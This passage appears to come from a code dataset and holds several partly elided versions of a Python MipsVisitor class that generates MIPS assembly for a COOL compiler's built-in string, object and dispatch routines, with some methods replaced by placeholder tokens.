ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n 